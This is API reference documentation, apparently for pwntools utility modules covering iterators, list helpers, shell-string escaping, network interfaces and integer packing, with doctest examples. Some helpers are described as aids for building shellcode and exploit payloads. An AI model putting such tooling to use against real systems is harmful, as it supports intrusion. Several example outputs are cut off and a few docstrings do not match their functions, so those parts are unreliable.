- **args** – Positional arguments.
- **kwargs** – Keyword arguments.

Returns An iterator whoose elements are the results of calling `func(*args, **kwargs)` repeatedly.

Examples

```
>>> def f(x):
...     x[0] += 1
...     return x[0]
>>> i = repeat_func(f, [0])
>>> take(2, i)
[1, 2]
>>> take(2, i)
[3, 4]
>>> def f(**kwargs):
...     return kwargs.get('x', 43)
>>> i = repeat_func(f, x = 42)
>>> take(2, i)
[42, 42]
>>> i = repeat_func(f, 42)
>>> take(2, i)
Traceback (most recent call last):
    ...
TypeError: f() takes exactly 0 arguments (1 given)
```

`pwnlib.util.iters.`**`roundrobin`**`(`**iterables*`)`

Take elements from *iterables* in a round-robin fashion.

Parameters **`*iterables`** – One or more iterables.

Returns An iterator whoose elements are taken from *iterables* in a round-robin fashion.

Examples

```
>>> ''.join(roundrobin('ABC', 'D', 'EF'))
'ADEBFC'
>>> ''.join(take(10, roundrobin('ABC', 'DE', repeat('x'))))
'ADxBExCxxx'
```

`pwnlib.util.iters.`**`tabulate`**`(`*func*, *start = 0*`)` → iterator

Parameters

- **func** (`function`) – The function to tabulate over.
- **start** (*`int`*) – Number to start on.

Returns An iterator with the elements `func(start), func(start + 1), ....`

Examples

```
>>> take(2, tabulate(str))
['0', '1']
```

```
>>> take(5, tabulate(lambda x: x**2, start = 1))
[1, 4, 9, 16, 25]
```

`pwnlib.util.iters.`**`take`**`(`*n*, *iterable*`)` → list

Returns first *n* elements of *iterable*. If *iterable* is a iterator it will be advanced.

Parameters

- **n** (*int*) – Number of elements to take.
- **iterable** – An iterable.

Returns A list of the first *n* elements of *iterable*. If there are fewer than *n* elements in *iterable* they will all be returned.

Examples

```
>>> take(2, range(10))
[0, 1]
>>> i = count()
>>> take(2, i)
[0, 1]
>>> take(2, i)
[2, 3]
>>> take(9001, [1, 2, 3])
[1, 2, 3]
```

`pwnlib.util.iters.`**`unique_everseen`**`(`*iterable*, *key = None*`)` → iterator

Get unique elements, preserving order. Remember all elements ever seen. If *key* is not `None` then for each element `elm` in *iterable* the element that will be rememberes is `key(elm)`. Otherwise `elm` is remembered.

Parameters

- **iterable** – An iterable.
- **key** – A function to map over each element in *iterable* before remembering it. Setting to `None` is equivalent to the identity function.

Returns An iterator of the unique elements in *iterable*.

Examples

```
>>> ''.join(unique_everseen('AAAABBBCCDAABBB'))
'ABCD'
>>> ''.join(unique_everseen('ABBCcAD', str.lower))
'ABCD'
```

`pwnlib.util.iters.`**`unique_justseen`**`(`*iterable*, *key=None*`)`

unique_everseen(iterable, key = None) -> iterator

Get unique elements, preserving order. Remember only the elements just seen. If *key* is not `None` then for each element `elm` in *iterable* the element that will be rememberes is `key(elm)`. Otherwise `elm` is remembered.

Parameters

- **iterable** – An iterable.
- **key** – A function to map over each element in *iterable* before remembering it. Setting to `None` is equivalent to the identity function.

Returns An iterator of the unique elements in *iterable*.

Examples

```
>>> ''.join(unique_justseen('AAAABBBCCDAABBB'))
'ABCDAB'
>>> ''.join(unique_justseen('ABBCcAD', str.lower))
'ABCAD'
```

`pwnlib.util.iters.`**`unique_window`**(*iterable*, *window*, *key=None*)

unique_everseen(iterable, window, key = None) -> iterator

Get unique elements, preserving order. Remember only the last *window* elements seen. If *key* is not `None` then for each element `elm` in *iterable* the element that will be rememberes is `key(elm)`. Otherwise `elm` is remembered.

Parameters

- **`iterable`** – An iterable.
- **`window`** (*`int`*) – The number of elements to remember.
- **`key`** – A function to map over each element in *iterable* before remembering it. Setting to `None` is equivalent to the identity function.

Returns An iterator of the unique elements in *iterable*.

Examples

```
>>> ''.join(unique_window('AAAABBBCCDAABBB', 6))
'ABCDA'
>>> ''.join(unique_window('ABBCcAD', 5, str.lower))
'ABCD'
>>> ''.join(unique_window('ABBCcAD', 4, str.lower))
'ABCAD'
```

`pwnlib.util.iters.`**`chain`**()

Alias for `itertools.chain()`.

`pwnlib.util.iters.`**`combinations`**()

Alias for `itertools.combinations()`

`pwnlib.util.iters.`**`combinations_with_replacement`**()

Alias for `itertools.combinations_with_replacement()`

`pwnlib.util.iters.`**`compress`**()

Alias for `itertools.compress()`

`pwnlib.util.iters.`**`count`**()

Alias for `itertools.count()`

`pwnlib.util.iters.`**`cycle`**()

Alias for `itertools.cycle()`

`pwnlib.util.iters.`**`dropwhile`**()

Alias for `itertools.dropwhile()`

`pwnlib.util.iters.`**`groupby`**()

Alias for `itertools.groupby()`

pwnlib.util.iters.**ifilter**()
Alias for itertools.ifilter()

pwnlib.util.iters.**ifilterfalse**()
Alias for itertools.ifilterfalse()

pwnlib.util.iters.**imap**()
Alias for itertools.imap()

pwnlib.util.iters.**islice**()
Alias for itertools.islice()

pwnlib.util.iters.**izip**()
Alias for itertools.izip()

pwnlib.util.iters.**izip_longest**()
Alias for itertools.izip_longest()

pwnlib.util.iters.**permutations**()
Alias for itertools.permutations()

pwnlib.util.iters.**product**()
Alias for itertools.product()

pwnlib.util.iters.**repeat**()
Alias for itertools.repeat()

pwnlib.util.iters.**starmap**()
Alias for itertools.starmap()

pwnlib.util.iters.**takewhile**()
Alias for itertools.takewhile()

pwnlib.util.iters.**tee**()
Alias for itertools.tee()

2.29 pwnlib.util.lists — Operations on lists

pwnlib.util.lists.**concat**(*l*) → list
Concats a list of lists into a list.

Example

```
>>> concat([[1, 2], [3]])
[1, 2, 3]
```

pwnlib.util.lists.**concat_all**(**args*) → list
Concats all the arguments together.

Example

```
>>> concat_all(0, [1, (2, 3)], [([[4, 5, 6]])])
[0, 1, 2, 3, 4, 5, 6]
```

pwnlib.util.lists.**findall**(*l*, *e*) → l
Generate all indices of needle in haystack, using the Knuth-Morris-Pratt algorithm.

Example

```
>>> foo = findall([1,2,3,4,4,3,4,2,1], 4)
>>> foo.next()
3
>>> foo.next()
4
>>> foo.next()
6
```

`pwnlib.util.lists.`**`group`**(*n*, *lst*, *underfull_action = 'ignore'*, *fill_value = None*) → list

Split sequence into subsequences of given size. If the values cannot be evenly distributed among into groups, then the last group will either be returned as is, thrown out or padded with the value specified in fill_value.

Parameters

- **`n`** (*int*) – The size of resulting groups
- **`lst`** – The list, tuple or string to group
- **`underfull_action`** (*str*) – The action to take in case of an underfull group at the end. Possible values are 'ignore', 'drop' or 'fill'.
- **`fill_value`** – The value to fill into an underfull remaining group.

Returns A list containing the grouped values.

Example

```
>>> group(3, "ABCDEFG")
['ABC', 'DEF', 'G']
>>> group(3, 'ABCDEFG', 'drop')
['ABC', 'DEF']
>>> group(3, 'ABCDEFG', 'fill', 'Z')
['ABC', 'DEF', 'GZZ']
>>> group(3, list('ABCDEFG'), 'fill')
[['A', 'B', 'C'], ['D', 'E', 'F'], ['G', None, None]]
```

`pwnlib.util.lists.`**`ordlist`**(*s*) → list

Turns a string into a list of the corresponding ascii values.

Example

```
>>> ordlist("hello")
[104, 101, 108, 108, 111]
```

`pwnlib.util.lists.`**`partition`**(*lst*, *f*, *save_keys = False*) → list

Partitions an iterable into sublists using a function to specify which group they belong to.

It works by calling *f* on every element and saving the results into an `collections.OrderedDict`.

Parameters

- **`lst`** – The iterable to partition
- **`f`** (`function`) – The function to use as the partitioner.
- **`save_keys`** (*bool*) – Set this to True, if you want the OrderedDict returned instead of just the values

Example

```
>>> partition([1,2,3,4,5], lambda x: x&1)
[[1, 3, 5], [2, 4]]
```

pwnlib.util.lists.**unordlist**(*cs*) → str

Takes a list of ascii values and returns the corresponding string.

Example

```
>>> unordlist([104, 101, 108, 108, 111])
'hello'
```

2.30 `pwnlib.util.misc` — We could not fit it any other place

pwnlib.util.misc.**align**(*alignment*, *x*) → int

Rounds *x* up to nearest multiple of the *alignment*.

Example

```
>>> [align(5, n) for n in range(15)]
[0, 5, 5, 5, 5, 5, 10, 10, 10, 10, 10, 15, 15, 15, 15]
```

pwnlib.util.misc.**align_down**(*alignment*, *x*) → int

Rounds *x* down to nearest multiple of the *alignment*.

Example

```
>>> [align_down(5, n) for n in range(15)]
[0, 0, 0, 0, 0, 5, 5, 5, 5, 5, 10, 10, 10, 10, 10]
```

pwnlib.util.misc.**binary_ip**(*host*) → str

Resolve host and return IP as four byte string.

Example

```
>>> binary_ip("127.0.0.1")
'\x7f\x00\x00\x01'
```

pwnlib.util.misc.**dealarm_shell**(*tube*)

Given a tube which is a shell, dealarm it.

pwnlib.util.misc.**mkdir_p**(*path*)

Emulates the behavior of `mkdir -p`.

pwnlib.util.misc.**parse_ldd_output**(*output*)

Parses the output from a run of 'ldd' on a binary. Returns a dictionary of {path: address} for each library required by the specified binary.

Parameters **output** (*str*) – The output to parse

Example

```
>>> sorted(parse_ldd_output('''
...     linux-vdso.so.1 =>  (0x00007fffbf5fe000)
...     libtinfo.so.5 => /lib/x86_64-linux-gnu/libtinfo.so.5 (0x00007fe28117f000)
...     libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007fe280f7b000)
...     libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fe280bb4000)
...     /lib64/ld-linux-x86-64.so.2 (0x00007fe2813dd000)
... ''').keys())
['/lib/x86_64-linux-gnu/libc.so.6', '/lib/x86_64-linux-gnu/libdl.so.2', '/lib/x86_64-linux-gnu/l
```

pwnlib.util.misc.**read**(*path*, *count=-1*, *skip=0*) → str

Open file, return content.

Examples

```
>>> read('/proc/self/exe')[:4]
'\x7fELF'
```

pwnlib.util.misc.**register_sizes**(*regs*, *in_sizes*)

Create dictionaries over register sizes and relations

Given a list of lists of overlapping register names (e.g. ['eax','ax','al','ah']) and a list of input sizes, it returns the following:

- all_regs : list of all valid registers
- sizes[reg] : the size of reg in bits
- bigger[reg] : list of overlapping registers bigger than reg
- smaller[reg]: list of overlapping registers smaller than reg

Used in i386/AMD64 shellcode, e.g. the mov-shellcode.

Example

```
>>> regs = [['eax', 'ax', 'al', 'ah'],['ebx', 'bx', 'bl', 'bh'],
... ['ecx', 'cx', 'cl', 'ch'],
... ['edx', 'dx', 'dl', 'dh'],
... ['edi', 'di'],
... ['esi', 'si'],
... ['ebp', 'bp'],
... ['esp', 'sp'],
... ]
>>> all_regs, sizes, bigger, smaller = register_sizes(regs, [32, 16, 8, 8])
>>> all_regs
['eax', 'ax', 'al', 'ah', 'ebx', 'bx', 'bl', 'bh', 'ecx', 'cx', 'cl', 'ch', 'edx', 'dx', 'dl', '
>>> sizes
{'ch': 8, 'cl': 8, 'ah': 8, 'edi': 32, 'al': 8, 'cx': 16, 'ebp': 32, 'ax': 16, 'edx': 32, 'ebx':
>>> bigger
{'ch': ['ecx', 'cx', 'ch'], 'cl': ['ecx', 'cx', 'cl'], 'ah': ['eax', 'ax', 'ah'], 'edi': ['edi']
>>> smaller
{'ch': [], 'cl': [], 'ah': [], 'edi': ['di'], 'al': [], 'cx': ['cl', 'ch'], 'ebp': ['bp'], 'ax':
```

pwnlib.util.misc.**run_in_new_terminal**(*command*, *terminal = None*) → None

Run a command in a new terminal.

When *terminal* is not set:

- If *context.terminal* is set it will be used. If it is an iterable then *context.terminal[1:]* are default arguments.
- If X11 is detected (by the presence of the `DISPLAY` environment variable), `x-terminal-emulator` is used.
- If tmux is detected (by the presence of the `TMUX` environment variable), a new pane will be opened.

Parameters

- **command** (*str*) – The command to run.
- **terminal** (*str*) – Which terminal to use.
- **args** (*list*) – Arguments to pass to the terminal

Returns None

`pwnlib.util.misc.`**`sh_command_with`** (*f*, *arg0*, ..., *argN*) → command

Returns a command create by evaluating *f(new_arg0, ..., new_argN)* whenever *f* is a function and *f % (new_arg0, ..., new_argN)* otherwise.

If the arguments are purely alphanumeric, then they are simply passed to function. If they are simple to escape, they will be escaped and passed to the function.

If the arguments contain trailing newlines, then it is hard to use them directly because of a limitation in the posix shell. In this case the output from *f* is prepended with a bit of code to create the variables.

Examples

```
>>> print sh_command_with(lambda: "echo hello")
echo hello
>>> print sh_command_with(lambda x: "echo " + x, "hello")
echo hello
>>> print sh_command_with(lambda x: "echo " + x, "\x01")
echo "$(printf '\001')"
>>> import random
>>> random.seed(1)
>>> print sh_command_with(lambda x: "echo " + x, "\x01\n")
dwtgmlqu="$(printf '\001\nx')";dwtgmlqu=${dwtgmlqu%x};echo "$dwtgmlqu"
>>> random.seed(1)
>>> print sh_command_with("echo %s", "\x01\n")
dwtgmlqu="$(printf '\001\nx')";dwtgmlqu=${dwtgmlqu%x};echo "$dwtgmlqu"
```

`pwnlib.util.misc.`**`sh_prepare`** (*variables*, *export=False*)

Outputs a posix compliant shell command that will put the data specified by the dictionary into the environment.

It is assumed that the keys in the dictionary are valid variable names that does not need any escaping.

Parameters

- **variables** (*dict*) – The variables to set.
- **export** (*bool*) – Should the variables be exported or only stored in the shell environment?
- **output** (*str*) – A valid posix shell command that will set the given variables.

It is assumed that *var* is a valid name for a variable in the shell.

Examples

```
>>> print sh_prepare({'X': 'foobar'})
X=foobar
>>> r = sh_prepare({'X': 'foobar', 'Y': 'cookies'})
>>> r == 'X=foobar;Y=cookies' or r == 'Y=cookies;X=foobar'
True
>>> print sh_prepare({'X': 'foo bar'})
X='foo bar'
>>> print sh_prepare({'X': "foo'bar"})
X="foo'bar"
>>> print sh_prepare({'X': "foo\\bar"})
X='foo\bar'
>>> print sh_prepare({'X': "foo\\'bar"})
X="foo\\'bar"
>>> print sh_prepare({'X': "foo\x01'bar"})
X="$(printf 'foo\001\047bar')"
>>> print sh_prepare({'X': "foo\x01'bar"}, export = True)
export X="$(printf 'foo\001\047bar')"
>>> print sh_prepare({'X': "foo\x01'bar\n"})
X="$(printf 'foo\001\047bar\nx')";X=${X%x}
>>> print sh_prepare({'X': "foo\x01'bar\n"}, export = True)
X="$(printf 'foo\001\047bar\nx')";export X=${X%x}
>>> print `subprocess.check_output('%s;echo -n "$X"' % sh_prepare({'X': "foo\x01'bar"}), shell =
"foo\x01'bar"
```

pwnlib.util.misc.**sh_string**(*s*)

Outputs a string in a format that will be understood by /bin/sh.

If the string does not contain any bad characters, it will simply be returned, possibly with quotes. If it contains bad characters, it will be escaped in a way which is compatible with most known systems.

Examples

```
>>> print sh_string('foobar')
foobar
>>> print sh_string('foo bar')
'foo bar'
>>> print sh_string("foo'bar")
"foo'bar"
>>> print sh_string("foo\\bar")
'foo\bar'
>>> print sh_string("foo\\'bar")
"foo\\'bar"
>>> print sh_string("foo\x01'bar")
"$(printf 'foo\001\047bar')"
>>> print `subprocess.check_output("echo -n " + sh_string("foo\x01'bar"), shell = True)`
"foo\x01'bar"
```

pwnlib.util.misc.**size**(*n*, *abbriv = 'B'*, *si = False*) → str

Convert the length of a bytestream to human readable form.

Parameters

- **n** (*int, str*) – The length to convert to human readable form
- **abbriv** (*str*) –

Example

```
>>> size(451)
'451B'
>>> size(1000)
'1000B'
>>> size(1024)
'1.00KB'
>>> size(1024, si = True)
'1.02KB'
>>> [size(1024 ** n) for n in range(7)]
['1B', '1.00KB', '1.00MB', '1.00GB', '1.00TB', '1.00PB', '1024.00PB']
```

`pwnlib.util.misc.`**`which`**(*name*, *flags = os.X_OK*, *all = False*) → str or str set

Works as the system command `which`; searches $PATH for `name` and returns a full path if found.

If *all* is `True` the set of all found locations is returned, else the first occurence or `None` is returned.

Parameters

- **`name`** (*`str`*) – The file to search for.
- **`all`** (*`bool`*) – Whether to return all locations where *name* was found.

Returns If *all* is `True` the set of all locations where *name* was found, else the first location or `None` if not found.

Example

```
>>> which('sh')
'/bin/sh'
```

`pwnlib.util.misc.`**`write`**(*path*, *data=’‘*, *create_dir=False*, *mode=’w’*)

Create new file or truncate existing to zero length and write data.

2.31 `pwnlib.util.net` — Networking interfaces

`pwnlib.util.net.`**`getifaddrs`**() → dict list

A wrapper for libc’s `getifaddrs`.

Parameters **`None`** –

Returns list of dictionaries each representing a *struct ifaddrs*. The dictionaries have the fields *name*, *flags*, *family*, *addr* and *netmask*. Refer to *getifaddrs(3)* for details. The fields *addr* and *netmask* are themselves dictionaries. Their structure depend on *family*. If *family* is not `socket.AF_INET` or `socket.AF_INET6` they will be empty.

`pwnlib.util.net.`**`interfaces`**(*all = False*) → dict

Parameters

- **`all`** (*`bool`*) – Whether to include interfaces with not associated address.
- **`Default`** – `False`.

Returns A dictionary mapping each of the hosts interfaces to a list of it’s addresses. Each entry in the list is a tuple `(family, addr)`, and *family* is either `socket.AF_INET` or `socket.AF_INET6`.

`pwnlib.util.net.`**`interfaces4`**(*all = False*) → dict

As `interfaces()` but only includes IPv4 addresses and the lists in the dictionary only contains the addresses not the family.

Parameters

- **`all`** (*`bool`*) – Whether to include interfaces with not associated address.
- **`Default`** – `False`.

Returns A dictionary mapping each of the hosts interfaces to a list of it's IPv4 addresses.

`pwnlib.util.net.`**`interfaces6`**(*all = False*) → dict

As `interfaces()` but only includes IPv6 addresses and the lists in the dictionary only contains the addresses not the family.

Parameters

- **`all`** (*`bool`*) – Whether to include interfaces with not associated address.
- **`Default`** – `False`.

Returns A dictionary mapping each of the hosts interfaces to a list of it's IPv6 addresses.

`pwnlib.util.net.`**`sockaddr`**(*host, port, network = 'ipv4') -> (data, length, family*)

Creates a sockaddr_in or sockaddr_in6 memory buffer for use in shellcode.

Parameters

- **`host`** (*`str`*) – Either an IP address or a hostname to be looked up.
- **`port`** (*`int`*) – TCP/UDP port.
- **`network`** (*`str`*) – Either 'ipv4' or 'ipv6'.

Returns A tuple containing the sockaddr buffer, length, and the address family.

2.32 `pwnlib.util.packing` — Packing and unpacking of strings

Module for packing and unpacking integers.

Simplifies access to the standard `struct.pack` and `struct.unpack` functions, and also adds support for packing/unpacking arbitrary-width integers.

The packers are all context-aware for `endian` and `signed` arguments, though they can be overridden in the parameters.

Examples

```
>>> p8(0)
'\x00'
>>> p32(0xdeadbeef)
'\xef\xbe\xad\xde'
>>> p32(0xdeadbeef, endian='big')
'\xde\xad\xbe\xef'
>>> with context.local(endian='big'): p32(0xdeadbeef)
'\xde\xad\xbe\xef'
```

Make a frozen packer, which does not change with context.

```
>>> p=make_packer('all')
>>> p(0xff)
'\xff'
>>> p(0x1ff)
'\xff\x01'
>>> with context.local(endian='big'): print repr(p(0x1ff))
'\xff\x01'
```

`pwnlib.util.packing.`**`dd`**(*dst*, *src*, *count = 0*, *skip = 0*, *seek = 0*, *truncate = False*) → dst

Inspired by the command line tool `dd`, this function copies *count* byte values from offset *seek* in *src* to offset *skip* in *dst*. If *count* is 0, all of `src[seek:]` is copied.

If *dst* is a mutable type it will be updated. Otherwise a new instance of the same type will be created. In either case the result is returned.

src can be an iterable of characters or integers, a unicode string or a file object. If it is an iterable of integers, each integer must be in the range [0;255]. If it is a unicode string, its UTF-8 encoding will be used.

The seek offset of file objects will be preserved.

Parameters

- **`dst`** – Supported types are *:class:file*, *:class:list*, *:class:tuple*, *:class:str*, *:class:bytearray* and *:class:unicode*.
- **`src`** – An iterable of byte values (characters or integers), a unicode string or a file object.
- **`count`** (*`int`*) – How many bytes to copy. If *count* is 0 or larger than `len(src[seek:])`, all bytes until the end of *src* are copied.
- **`skip`** (*`int`*) – Offset in *dst* to copy to.
- **`seek`** (*`int`*) – Offset in *src* to copy from.
- **`truncate`** (*`bool`*) – If *:const:True*, *dst* is truncated at the last copied byte.

Returns A modified version of *dst*. If *dst* is a mutable type it will be modified in-place.

Examples: >>> dd(tuple('Hello!'), '?', skip = 5) ('H', 'e', 'l', 'l', 'o', '?') >>> dd(list('Hello!'), (63,), skip = 5) ['H', 'e', 'l', 'l', 'o', '?'] >>> write('/tmp/foo', 'A' * 10) ... dd(file('/tmp/foo'), file('/dev/zero'), skip = 3, count = 4) ... read('/tmp/foo') 'AAAAAA' >>> write('/tmp/foo', 'A' * 10) ... dd(file('/tmp/foo'), file('/dev/zero'), skip = 3, count = 4, truncate = True) ... read('/tmp/foo') 'AAA'

`pwnlib.util.packing.`**`fit`**(*pieces*, *filler = de_bruijn()*, *length = None*, *preprocessor = None*) → str

Generates a string from a dictionary mapping offsets to data to place at that offset.

For each key-value pair in *pieces*, the key is either an offset or a byte sequence. In the latter case, the offset will be the lowest index at which the sequence occurs in *filler*. See examples below.

Each piece of data is passed to *`flat()`* along with the keyword arguments *word_size*, *endianness* and *sign*.

Space between pieces of data is filled out using the iterable *filler*. The *n*'th byte in the output will be byte at index `n % len(iterable)` byte in *filler* if it has finite length or the byte at index *n* otherwise.

If *length* is given, the output will padded with bytes from *filler* to be this size. If the output is longer than *length*, a `ValueError` exception is raised.

If entries in *pieces* overlap, a `ValueError` exception is raised.

Parameters

- **`pieces`** – Offsets and values to output.
- **`length`** – The length of the output.

- **filler** – Iterable to use for padding.
- **preprocessor** (*function*) – Gets called on every element to optionally transform the element before flattening. If None is returned, then the original value is used.
- **word_size** (*int*) – Word size of the converted integer.
- **endianness** (*str*) – Endianness of the converted integer ("little"/"big").
- **sign** (*str*) – Signedness of the converted integer (False/True)

Examples

```
>>> fit({12: 0x41414141,
...       24: 'Hello',
...      })
'aaaabaaacaaaAAAAeaaafaaaHello'
>>> fit({'caaa': ''})
'aaaabaaa'
>>> fit({12: 'XXXX'}, filler = 'AB', length = 20)
'ABABABABABABXXXXABAB'
>>> fit({ 8: [0x41414141, 0x42424242],
...       20: 'CCCC'})
'aaaabaaaAAAABBBBeaaaCCCC'
```

pwnlib.util.packing.**flat**(**args*, *preprocessor = None*, *word_size = None*, *endianness = None*, *sign = None*)

Flattens the arguments into a string.

This function takes an arbitrary number of arbitrarily nested lists and tuples. It will then find every string and number inside those and flatten them out. Strings are inserted directly while numbers are packed using the *pack()* function.

The three kwargs *word_size*, *endianness* and *sign* will default to using values in pwnlib.context if not specified as an argument.

Parameters

- **args** – Values to flatten
- **preprocessor** (*function*) – Gets called on every element to optionally transform the element before flattening. If None is returned, then the original value is uded.
- **word_size** (*int*) – Word size of the converted integer.
- **endianness** (*str*) – Endianness of the converted integer ("little"/"big").
- **sign** (*str*) – Signedness of the converted integer (False/True)

Examples

```
>>> flat(1, "test", [[["AB"]*2]*3], endianness = 'little', word_size = 16, sign = False)
'\x01\x00testABABABABABAB'
>>> flat([1, [2, 3]], preprocessor = lambda x: str(x+1))
'234'
```

pwnlib.util.packing.**make_packer**(*word_size = None*, *endianness = None*, *sign = None*) → number → str

Creates a packer by "freezing" the given arguments.

Semantically calling `make_packer(w, e, s)(data)` is equivalent to calling `pack(data, w, e, s)`. If word_size is one of 8, 16, 32 or 64, it is however faster to call this function, since it will then use a specialized version.

Parameters

- **word_size** (*int*) – The word size to be baked into the returned packer or the string all.
- **endianness** (*str*) – The endianness to be baked into the returned packer. ("little"/"big")
- **sign** (*str*) – The signness to be baked into the returned packer. ("unsigned"/"signed")
- **kwargs** – Additional context flags, for setting by alias (e.g. `endian=` rather than index)

Returns A function, which takes a single argument in the form of a number and returns a string of that number in a packed form.

Examples

```
>>> p = make_packer(32, endian='little', sign='unsigned')
>>> p
<function _p32lu at 0x...>
>>> p(42)
'*\x00\x00\x00'
>>> p(-1)
Traceback (most recent call last):
    ...
error: integer out of range for 'I' format code
>>> make_packer(33, endian='little', sign='unsigned')
<function <lambda> at 0x...>
```

`pwnlib.util.packing.`**`make_unpacker`**(*word_size = None*, *endianness = None*, *sign = None*, ***kwargs*) → str → number

Creates a unpacker by "freezing" the given arguments.

Semantically calling `make_unpacker(w, e, s)(data)` is equivalent to calling `unpack(data, w, e, s)`. If word_size is one of 8, 16, 32 or 64, it is however faster to call this function, since it will then use a specialized version.

Parameters

- **word_size** (*int*) – The word size to be baked into the returned packer.
- **endianness** (*str*) – The endianness to be baked into the returned packer. ("little"/"big")
- **sign** (*str*) – The signness to be baked into the returned packer. ("unsigned"/"signed")
- **kwargs** – Additional context flags, for setting by alias (e.g. `endian=` rather than index)

Returns A function, which takes a single argument in the form of a string and returns a number of that string in an unpacked form.

Examples

```
>>> u = make_unpacker(32, endian='little', sign='unsigned')
>>> u
<function _u32lu at 0x...>
>>> hex(u('/bin'))
'0x6e69622f'
>>> u('abcde')
```

```
Traceback (most recent call last):
    ...
error: unpack requires a string argument of length 4
>>> make_unpacker(33, endian='little', sign='unsigned')
<function <lambda> at 0x...>
```

pwnlib.util.packing.**p16** (*number*, *sign*, *endian*, *...*) → str

Packs an 16-bit integer

Parameters

- **number** (*int*) – Number to convert
- **endianness** (*str*) – Endianness of the converted integer ("little"/"big")
- **sign** (*str*) – Signedness of the converted integer ("unsigned"/"signed")
- **kwargs** (*dict*) – Arguments passed to context.local(), such as `endian` or `signed`.

Returns The packed number as a string

pwnlib.util.packing.**p32** (*number*, *sign*, *endian*, *...*) → str

Packs an 32-bit integer

Parameters

- **number** (*int*) – Number to convert
- **endianness** (*str*) – Endianness of the converted integer ("little"/"big")
- **sign** (*str*) – Signedness of the converted integer ("unsigned"/"signed")
- **kwargs** (*dict*) – Arguments passed to context.local(), such as `endian` or `signed`.

Returns The packed number as a string

pwnlib.util.packing.**p64** (*number*, *sign*, *endian*, *...*) → str

Packs an 64-bit integer

Parameters

- **number** (*int*) – Number to convert
- **endianness** (*str*) – Endianness of the converted integer ("little"/"big")
- **sign** (*str*) – Signedness of the converted integer ("unsigned"/"signed")
- **kwargs** (*dict*) – Arguments passed to context.local(), such as `endian` or `signed`.

Returns The packed number as a string

pwnlib.util.packing.**p8** (*number*, *sign*, *endian*, *...*) → str

Packs an 8-bit integer

Parameters

- **number** (*int*) – Number to convert
- **endianness** (*str*) – Endianness of the converted integer ("little"/"big")
- **sign** (*str*) – Signedness of the converted integer ("unsigned"/"signed")
- **kwargs** (*dict*) – Arguments passed to context.local(), such as `endian` or `signed`.

Returns The packed number as a string `pwnlib.util.packing.`**`pack`**(*number*, *word_size = None*, *endianness = None*, *sign = None*, ***kwargs*) → str

Packs arbitrary-sized integer.

Word-size, endianness and signedness is done according to context.

word_size can be any positive number or the string "all". Choosing the string "all" will output a string long enough to contain all the significant bits and thus be decodable by `unpack()`.

word_size can be any positive number. The output will contain word_size/8 rounded up number of bytes. If word_size is not a multiple of 8, it will be padded with zeroes up to a byte boundary.

Parameters

- **number** (*int*) – Number to convert
- **word_size** (*int*) – Word size of the converted integer or the string 'all'.
- **endianness** (*str*) – Endianness of the converted integer ("little"/"big")
- **sign** (*str*) – Signedness of the converted integer (False/True)
- **kwargs** – Anything that can be passed to context.local

Returns The packed number as a string.

Examples

```
>>> pack(0x414243, 24, 'big', True)
'ABC'
>>> pack(0x414243, 24, 'little', True)
'CBA'
>>> pack(0x814243, 24, 'big', False)
'\x81BC'
>>> pack(0x814243, 24, 'big', True)
Traceback (most recent call last):
   ...
ValueError: pack(): number does not fit within word_size
>>> pack(0x814243, 25, 'big', True)
'\x00\x81BC'
>>> pack(-1, 'all', 'little', True)
'\xff'
>>> pack(-256, 'all', 'big', True)
'\xff\x00'
>>> pack(0x0102030405, 'all', 'little', True)
'\x05\x04\x03\x02\x01'
>>> pack(-1)
'\xff\xff\xff\xff'
>>> pack(0x80000000, 'all', 'big', True)
'\x00\x80\x00\x00\x00'
```

`pwnlib.util.packing.`**`routine`**(**a*, ***kw*)

u32(number, sign, endian, ...) -> int

Unpacks an 32-bit integer

Parameters

- **data** (*str*) – String to convert
- **endianness** (*str*) – Endianness of the converted integer ("little"/"big")
- **sign** (*str*) – Signedness of the converted integer ("unsigned"/"signed")

- **kwargs** (*dict*) – Arguments passed to context.local(), such as `endian` or `signed`.

Returns The unpacked number

`pwnlib.util.packing.`**`u16`**(*number*, *sign*, *endian*, *...*) → int

Unpacks an 16-bit integer

Parameters

- **data** (*str*) – String to convert
- **endianness** (*str*) – Endianness of the converted integer (“little”/”big”)
- **sign** (*str*) – Signedness of the converted integer (“unsigned”/”signed”)
- **kwargs** (*dict*) – Arguments passed to context.local(), such as `endian` or `signed`.

Returns The unpacked number

`pwnlib.util.packing.`**`u32`**(*number*, *sign*, *endian*, *...*) → int

Unpacks an 32-bit integer

Parameters

- **data** (*str*) – String to convert
- **endianness** (*str*) – Endianness of the converted integer (“little”/”big”)
- **sign** (*str*) – Signedness of the converted integer (“unsigned”/”signed”)
- **kwargs** (*dict*) – Arguments passed to context.local(), such as `endian` or `signed`.

Returns The unpacked number

`pwnlib.util.packing.`**`u64`**(*number*, *sign*, *endian*, *...*) → int

Unpacks an 64-bit integer

Parameters

- **data** (*str*) – String to convert
- **endianness** (*str*) – Endianness of the converted integer (“little”/”big”)
- **sign** (*str*) – Signedness of the converted integer (“unsigned”/”signed”)
- **kwargs** (*dict*) – Arguments passed to context.local(), such as `endian` or `signed`.

Returns The unpacked number

`pwnlib.util.packing.`**`u8`**(*number*, *sign*, *endian*, *...*) → int

Unpacks an 8-bit integer

Parameters

- **data** (*str*) – String to convert
- **endianness** (*str*) – Endianness of the converted integer (“little”/”big”)
- **sign** (*str*) – Signedness of the converted integer (“unsigned”/”signed”)
- **kwargs** (*dict*) – Arguments passed to context.local(), such as `endian` or `signed`.

Returns The unpacked number

`pwnlib.util.packing.`**`unpack`**(*data*, *word_size = None*, *endianness = None*, *sign = None*, ***kwargs*) → int

Packs arbitrary-sized integer.

Word-size, endianness and signedness is done according to context.

word_size can be any positive number or the string "all". Choosing the string "all" is equivalent to `len(data)*8`.

If *word_size* is not a multiple of 8, then the bits used for padding are discarded.

Parameters

- **number** (*int*) – String to convert
- **word_size** (*int*) – Word size of the converted integer or the string "all".
- **endianness** (*str*) – Endianness of the converted integer ("little"/"big")
- **sign** (*str*) – Signedness of the converted integer (False/True)
- **kwargs** – Anything that can be passed to context.local

Returns The unpacked number.

Examples

```
>>> hex(unpack('\xaa\x55', 16, endian='little', sign=False))
'0x55aa'
>>> hex(unpack('\xaa\x55', 16, endian='big', sign=False))
'0xaa55'
>>> hex(unpack('\xaa\x55', 16, endian='big', sign=True))
'-0x55ab'
>>> hex(unpack('\xaa\x55', 15, endian='big', sign=True))
'0x2a55'
>>> hex(unpack('\xff\x02\x03', 'all', endian='little', sign=True))
'0x302ff'
